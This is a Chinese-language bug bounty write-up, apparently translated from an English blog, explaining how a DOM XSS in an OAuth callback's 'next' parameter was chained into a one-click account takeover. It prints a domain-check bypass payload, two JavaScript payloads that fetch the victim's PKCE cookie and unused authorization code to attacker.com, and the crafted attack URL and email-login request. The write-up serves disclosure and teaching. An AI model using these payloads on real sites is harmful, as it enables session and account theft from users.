白帽故事 · 2024年4月18日

如何将 DOM XSS升级为一键帐户接管(下集)

DOM XSS 一键帐户接管

寻找 DOM XSS

file

在登录流程的第 8 步, next 参数的值将放置在目标属性中,然后客户端 JavaScript 将使用该属性来重定向网页。

file

file

正如上图所看到的,目标 URL 用于 href sink,这是一个典型的 javascript sink:协议 DOM XSS。

然而,当尝试典型的Payload时,却遇到了 500 内部服务器错误:

file

来尝试绕过。

javascript:alert(1) => ❌ Does not work

https://attacker.com => ❌ Does not work

https://account.partner.com/random_stuff_here => ✅ Works

javascript://account.partner.com/random_stuff_here => ✅ Works

javascript://account.partner.com/%0Aalert(1) => ✅ Works

所以服务器基本只检查域名是否在 :// 之后的 account.partner.com,而不检查协议。此外, javascript://account.partner.com/%0Aalert(1) 是一个完全有效的XSS Payload。在 JS 中, // 被视为行注释,因此它将注释掉 account.partner.com 部分,而 %0A将创建新行,然后 alert(1) 被执行。

可以在浏览器控制台上亲自尝试一下:

window.location.href = "javascript://account.partner.com/%0Aalert(1)"

file

OK,现在有了一个有效的 XSS Payload来绕过域名检查了。

第一次尝试执行帐户接管

为了执行帐户接管,首先需要做两件事:

  • 与授权代码关联的代码验证程序(在 xxxxx-pkce cookie 中可用)
  • 授权码(可在 URL 上找到)

以上都可以通过 XSS 获取这些并将它们发送回攻击者服务器。然后有一个问题–XSS 开启:

https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0Aalert(window.location.href)&code=<authorization_code>

授权码使用成功后才执行。

file

如上图所示, authorization_code 已在步骤 9 中使用并验证。由于 authorization_code 只允许使用1次,当尝试在 POST /access_token使用捕获的 authorization_codecode_verifier时:

{"error":"invalid_grant","errorDescription":"`code` is expired"}

我们需要找到某种方法,以确保能够在使用受害者的 code verifier 和相关的 authorization code 之前捕获它!

如何克服1次性代码问题

  • 为了获取受害者的有效访问令牌,我们需要获取他们的代码验证程序( xxxxx-pkce )和未使用的生成的授权代码( code
  • 几个小时后,研究人员想到了强制受害者的浏览器使用 attacker’s authorization code 触发 XSS 并窃取受害者未使用的 authorization code 的想法

file

  • 首先将 redirect_uri 参数篡改为如下所示:

https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>

  • 第 7 步的 /oauth_callback 将如下所示:

注意,现在 URL 中有 2 个 code 参数,因为服务器会将新生成的受害者的 authorization_code 添加到之前提供的 redirect_uri 之前:

https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>&code=<victim_code>

  • 这次应用程序将使用 URL 中的第一个 code 参数和 log the victim into the Attacker’s account
  • 之后,XSS 将被触发,将未使用的受害者的授权代码(第二个 code )发送到攻击者的服务器
  • 攻击者现在可以使用此未使用的代码来替换受害者的访问令牌
  • 当然还需要考虑 code_verifier ( xxxxx-pkce cookie)
  • 说白了,就是迫使受害者使用攻击者的authorization_code和code_verifier进行登录,然后窃取他们未使用的authorization_codecode_verifier
  • 实施流程如下:

file

  1. 受害者点击恶意链接并登录页面 account.redacted.com ,该链接将如下所示:

https://account.redacted.com/authorize?redirect_uri=https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0A[XSS payload 1]&response_type=code

  1. 成功登录后, account.redacted.com 将返回 redirect_uri 中的 authorization_code ,然后将受害者重定向到该 redirect_url

redirect_url = redirect_uri + "<authorization_code>"

  1. account.partner.com 将验证此 authorization_code 以及 code_verifier,之后,受害者继续被重定向到参数 next 中存储的 URL(也就是 XSS Payload)
  2. XSS payload 1 将触发并执行 3 件事:
  • 将当前受害者的 cookie xxxxx-pkce ( code_verifier ) 发送回攻击者的服务器
  • 将受害者的 xxxxx-pkce cookie 设置为攻击者的 xxxxx-pkce cookie
  • 强制受害者使用 attacker's authorization code 执行 OAuth 流程 again ,从而,将受害者登录到攻击者的帐户

XSS Payload 1 具体代码:

// The pkce is stored in the cookie, so we just need to send all the cookie to the attacker's server
fetch("//attacker.com?pkce=" + document.cookies)
.then(r => {
    // Set the attacker's pkce on the victim's browser
    document.cookie="xxxxx-pkce = <attacker_pkce>"
    // Force the victim to perform the OAuth flow again to log the victim in the attacker's account and  trigger the 2nd XSS
    window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=<attacker-code>&next=javascript://account.partner.com/%0A[XSS payload 2]")
})

这次 redirect_uri 将如下所示:

https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A[XSS payload 2]

  1. 现在,由于攻击者的 xxxxx-pkcecode 均有效,因此受害者现在将成功登录攻击者帐户并触发 XSS payload 2
  • 注意第一个参数 code ( attacker_code ) 用于向攻击者的帐户验证受害者的身份,第二个参数 code ( victim_code ) 仍将保持未使用状态

file

  • XSS payload 2 会将 URL 中的 unused authorization_code 发送回攻击者服务器
// the victim's authorization code will be in the url
fetch("//attacker.com?code=" + window.location.href)
  • 总体而言,精心设计的漏洞利用 URL 和 XSS Payload 如下所示:

    • Attack URL:
    https://account.redacted.com/authorize?redirect_uri=javascript://account.partner.com/%0A[XSS payload 1]
    • XSS Payload 1:
    // The pkce is stored in the cookie, so we just need to send all the cookie to the attacker's server
    fetch("//attacker.com?pkce=" + document.cookies)
    .then(r => {
    // Set the attacker's pkce on the victim's browser
    document.cookie="xxxxx-pkce = "
    // Force the victim to perform the OAuth flow again to log the victim in the attacker's account and  trigger the 2nd XSS
    window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=&next=javascript://account.partner.com/%0A[XSS payload 2]")
    })
    • XSS Payload 2:
    // the victim's authorization code will be in the urlfetch("//attacker.com?code=" + window.location.href)
  • 在攻击者的服务器上收到受害者的 authorization_codecode_verifier 后,攻击者就可以利用它们来“兑换” access token

升级、再升级,一键帐户接管

  • 阻止这个漏洞最大化影响的问题是,它需要在社工的前提下付出巨大的努力来诱骗受害者点击精心设计的链接,显然,用户点击这样冗长链接的可能性很小
  • 因此研究人员继续探索该应用程序并找到了所有可能的登录门户,幸运的是,他们发现其中两个允许用户通过电子邮件登录,请求包如下:
POST /v1/email/login/request HTTP/2
Host: api.xxxxxx.com
Cookie: <====SNIP====>
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://account.xxxx.com/
Content-Type: application/json
X-Locale-Language: en-US
Content-Length: 202
Origin: https://account.xxxxx.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

{"email":"longtheshrimp@wearehackerone.com","next_url":"<===XSS_REDIRECT_HERE===>","login_session_uuid":"697a3410-11ff-4ba6-bd31-3b26ed7dfac5"}
  • 这将向受害者发送一封包含登录链接的电子邮件

file

  • 受害者点击按钮后,会出现2种情况:

    • 如果受害者已经登录,应用程序会自动将受害者重定向回参数 next_url 中的恶意链接 ⇒ ATO XSS被触发
    • 如果受害者没有登录,电子邮件中的登录链接将自动将受害者登录到他的帐户,之后,受害者将被重定向回攻击者 next_url 中的恶意链接 ⇒ ATO XSS被触发

    以上就是通过目标电子邮件的一键式 ATO 的完整利用链,在实际利用中,研究人员创建了一个自动化脚本来自动执行上面提到的所有步骤。

    最终,他们的努力得到了回报,获得了厂商发出的$8000的奖励。

file

原文链接:https://thefrogsec.github.io/2024/04/06/How-we-escalated-a-DOM-XSS-to-a-sophisticated-1-click-Account-Takeover-for-8000-Part-1/?ref=weekly.infosecwriteups.com